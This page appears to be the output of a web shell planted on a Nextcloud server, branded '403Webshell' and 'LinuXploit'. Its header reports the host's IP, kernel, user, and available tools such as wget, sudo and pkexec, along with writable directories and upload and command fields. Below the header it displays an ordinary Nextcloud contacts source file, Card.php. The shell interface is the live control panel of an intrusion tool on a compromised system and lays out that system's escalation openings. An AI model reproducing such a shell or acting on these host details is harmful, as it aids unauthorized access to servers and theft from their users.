403Webshell
Server IP : 85.214.143.32  /  Your IP : 216.73.216.33
Web Server : nginx/1.24.0
System : Linux datensicherung.webdress.site 6.8.0-139-generic #139-Ubuntu SMP PREEMPT_DYNAMIC Sat Aug 1 03:52:05 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/nextcloud/apps/contactsinteraction/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/nextcloud/apps/contactsinteraction/lib/Card.php
<?php

declare(strict_types=1);

/**
 * SPDX-FileCopyrightText: 2020 Nextcloud GmbH and Nextcloud contributors
 * SPDX-License-Identifier: AGPL-3.0-or-later
 */
namespace OCA\ContactsInteraction;

use OCA\ContactsInteraction\Db\RecentContact;
use OCA\ContactsInteraction\Db\RecentContactMapper;
use Sabre\CardDAV\ICard;
use Sabre\DAV\Exception\NotImplemented;
use Sabre\DAVACL\ACLTrait;
use Sabre\DAVACL\IACL;

class Card implements ICard, IACL {
	use ACLTrait;

	public function __construct(
		private RecentContactMapper $mapper,
		private RecentContact $contact,
		private string $principal,
	) {
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function getOwner(): ?string {
		return $this->principal;
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function getACL(): array {
		return [
			[
				'privilege' => '{DAV:}read',
				'principal' => $this->getOwner(),
				'protected' => true,
			],
		];
	}

	/**
	 * @inheritDoc
	 */
	public function setAcls(array $acls): void {
		throw new NotImplemented();
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function put($data): ?string {
		throw new NotImplemented();
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function get(): string {
		return $this->contact->getCard();
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function getContentType(): ?string {
		return 'text/vcard; charset=utf-8';
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function getETag(): ?string {
		return '"' . md5((string)$this->getLastModified()) . '"';
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function getSize(): int {
		return strlen($this->contact->getCard());
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function delete(): void {
		$this->mapper->delete($this->contact);
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function getName(): string {
		return (string)$this->contact->getId();
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function setName($name): void {
		throw new NotImplemented();
	}

	/**
	 * @inheritDoc
	 */
	#[\Override]
	public function getLastModified(): ?int {
		return $this->contact->getLastContact();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit